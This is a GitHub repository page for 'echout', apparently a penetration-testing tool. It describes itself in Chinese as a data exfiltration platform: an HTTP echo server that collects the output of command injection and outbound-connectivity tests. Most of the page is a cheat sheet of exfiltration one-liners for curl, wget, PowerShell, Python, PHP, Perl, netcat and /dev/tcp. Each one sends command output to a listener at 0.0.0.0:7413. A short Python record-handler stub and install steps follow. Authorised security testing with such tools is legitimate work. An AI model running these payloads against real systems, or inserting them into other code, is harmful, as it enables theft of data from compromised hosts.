Skip to content

fb0sh/echout

Repository files navigation

echout

数据外带平台

Releases

友好的日志界面

image

外带数据的方式

pwd | curl --data-binary @- http://0.0.0.0:7413/
wget --method=POST --body-data="$(pwd)" http://0.0.0.0:7413/ -O -
ls | powershell -c "irm -Uri http://0.0.0.0:7413/ -Method POST -Body ([Console]::In.ReadToEnd())"
python3 -c 'import os,socket;b=os.popen("pwd").read();s=socket.create_connection(("0.0.0.0",7413));s.send(b"POST / HTTP/1.1\r\nHost:x\r\nContent-Length:%d\r\n\r\n%b"%(len(b),b.encode()))'
python2 -c 'import os,socket;b=os.popen("pwd").read();s=socket.create_connection(("0.0.0.0",7413));s.send("POST / HTTP/1.1\r\nHost:x\r\nContent-Length:%d\r\n\r\n%%s"%(len(b),b))'
php -r '$b=`pwd`; $s=fsockopen("0.0.0.0",7413); fwrite($s,"POST / HTTP/1.1\r\nHost:x\r\nContent-Length:".strlen($b)."\r\n\r\n$b");'
perl -e 'use IO::Socket::INET;$b=`pwd`;IO::Socket::INET->new(PeerAddr=>"0.0.0.0",PeerPort=>7413)->send("POST / HTTP/1.1\r\nHost:x\r\nContent-Length:".length($b)."\r\n\r\n$b")'
b=$(pwd); echo -ne "POST / HTTP/1.1\r\nHost: x\r\nContent-Length:${#b}\r\n\r\n$b" | nc 0.0.0.0 7413
b=$(pwd); echo -ne "POST / HTTP/1.1\r\nHost: x\r\nContent-Length: ${#b}\r\n\r\n$b" > /dev/tcp/0.0.0.0/7413
curl http://0.0.0.0:7413/$(pwd)

可供编程的链式调用

class EchoRecord:
    request: Request
    date: str
    ip: str
    data: str
    headers: str
def handle_record(record: EchoRecord):
    print(record)

可以在此处进行后续的处理

how to use?

  1. 安装 python3
  2. pip install flask
  3. python echout.py

About

一个极致简约却功能强大的 HTTP 回显服务,仅凭数十行代码,轻松收集各类命令注入与出网测试数据,助你洞察每一次连接。____________________________________________A sleek, minimalist HTTP echo server that effortlessly captures command injection and outbound test data—empowering you to unveil every connection with just a few lines of code.

Topics

Resources

License

Stars

Watchers

Forks

Packages

 
 
 

Contributors

Languages